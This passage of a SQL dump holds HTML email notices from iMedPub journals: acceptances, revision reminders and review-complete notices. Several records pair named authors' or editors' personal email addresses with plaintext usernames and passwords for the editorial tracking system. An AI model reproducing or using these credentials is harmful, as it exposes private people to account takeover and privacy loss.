expected by <b>20-07-2020</b>.<br />\r\n<br />\r\nYou have been sent <b>two&nbsp;</b>reminder notices.  The last one was sent on <b>09-07-2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>shadi</b><br />\r\npassword: <b>1BYEouFQ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','skhawaldah@hotmail.com',4251,'2020-07-15',319),(1640,'<p>Ref.:  Ms. No. : <b>IPJUS-20-4251</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Face lifting by suspension sutures </b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. ALkhawaldeh </b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-20-4251</b> was expected by <b>20-07-2020</b>.<br />\r\n<br />\r\nYou have been sent <b>two</b> reminder notices.  The last one was sent on <b>09-02-2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>shadi</b><br />\r\npassword: <b>1BYEouFQ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','skhawaldah@hotmail.com',4251,'2020-07-15',319),(1641,'<p>Ref.:  Ms. No. : <b>IPJUS-20-4138</b><br />\r\n<br />\r\nARTICLE TITLE: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. Baykara</b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-20-4138</b> was expected by <b>20-07-2020</b>.<br />\r\n<br />\r\nYou have been sent <b>two</b> reminder notices.  The last one was sent on <b>09-07-2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>aziz_serhat</b><br />\r\npassword: <b>4Dt2IKTR</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','asbaykara@hotmail.com',4138,'2020-07-15',319),(1642,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4117</b><br />\r\n            <br />\r\n            Article Title: <b> Pleomorphic Lipoma Foot- A Rare Case Report And Literature Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Verma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drmukta23@gmail.com',4117,'2020-07-15',319),(1647,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5169</b><br />\r\n            <br />\r\n            Article Title: <b>VISION-RELATED ACTIVITIES AMONG GLAUCOMA PATIENTS IN ONITSHA NIGERIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ezenwa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','adaezenwa17@gmail.com',5169,'2020-07-16',48),(1648,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5137</b><br />\r\n            <br />\r\n            Article Title: <b>Cross sectional study of Clinical profile and treatment of clubfoot by Ponseti method among infants at a tertiary care hospital</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jamil</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','irfanravian51@gmail.com',5137,'2020-07-16',48),(1650,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5041</b><br />\r\n            <br />\r\n            Article Title: <b>Molecular typing of 16S rRNA of Azadirachta indica and Ocimum gratissimum Resistant Pseudomonas spp. from Sabe in Oke-Ogun, Nigeria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adeoti Olatunde</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-5041</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',5041,'2020-07-16',248),(1651,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5041</b><br />\r\n            <br />\r\n            Article Title: <b>Molecular typing of 16S rRNA of Azadirachta indica and Ocimum gratissimum Resistant Pseudomonas spp. from Sabe in Oke-Ogun, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Olatunde</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','txy23m@yahoo.com',5041,'2020-07-16',248),(1652,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4387</b><br />\r\n            <br />\r\n            Article Title: <b>&acirc;&euro;&tilde;Covid-19 transmission via water: Should we be worried about the faecal droplet&acirc;&euro;&ldquo;respiratory transmission route?&acirc;&euro;&trade;</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Smriti Sharma</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4387</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',4387,'2020-07-16',248),(1653,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4387</b><br />\r\n            <br />\r\n            Article Title: <b>&acirc;&euro;&tilde;Covid-19 transmission via water: Should we be worried about the faecal droplet&acirc;&euro;&ldquo;respiratory transmission route?&acirc;&euro;&trade;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nishupapersub@gmail.com',4387,'2020-07-16',248),(1654,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4608</b><br />\r\n            <br />\r\n            Article Title: <b>Retrospective analysis of operative outcome of appendectomy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KHADE</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','skhade6@gmail.com',4608,'2020-07-16',85),(1657,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4575</b><br />\r\n            <br />\r\n            Article Title: <b>Comprehensive review on new approches for manegment of dibeties </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Paramanick </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','debashishparamanick02@gmail.com',4575,'2020-07-17',85),(1659,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4160</b><br />\r\n            <br />\r\n            Article Title: <b>Gender and Age Difference in Clinical Features and severity of Parkinson&acirc;&euro;&trade;s Disease: A Cross-Sectional Study in Southern Morocco.</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Achbani</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-20-4160</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jneuro.com/\">https://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>abderrahmane</b><br />\r\n            Password : <b>8SeTVDH6</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','abderrahmane.achbani@edu.uiz.ac.ma',4160,'2020-07-17',75),(1664,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5171</b><br />\r\n            <br />\r\n            Article Title: <b>Presumed Central Serous Chorioretinopathy in 9 years old boy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdullah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Omermajidy@gmail.com',5171,'2020-07-18',48),(1665,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5170</b><br />\r\n            <br />\r\n            Article Title: <b>Unilateral Eales disease with presumed tubercular etiology, three case reports</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdullah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','majidy6@yahoo.com',5170,'2020-07-18',48),(1666,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5170</b><br />\r\n            <br />\r\n            Article Title: <b>Unilateral Eales disease with presumed tubercular etiology, three case reports</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdullah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','majidy6@yahoo.com',5170,'2020-07-18',48),(1670,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5112</b><br />\r\n            <br />\r\n            Article Title: <b>Congenital adrenal hyperplasia and the COVID-19 pandemic: &acirc;&euro;&tilde;&acirc;&euro;&tilde;The calm before storm&acirc;&euro;&trade;&acirc;&euro;&trade;</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aida Al Jabri</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5112</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',5112,'2020-07-19',85),(1676,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5199</b><br />\r\n            <br />\r\n            Article Title: <b>Just a Flesh Wound? A Detailed Review of Modern Dressings</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',5199,'2020-07-20',48),(1677,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5112</b><br />\r\n            <br />\r\n            Article Title: <b>Congenital adrenal hyperplasia and the COVID-19 pandemic: &acirc;&euro;&tilde;&acirc;&euro;&tilde;The calm before storm&acirc;&euro;&trade;&acirc;&euro;&trade;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Al Jabri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr_aida_s@hotmail.com',5112,'2020-07-20',85),(1678,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    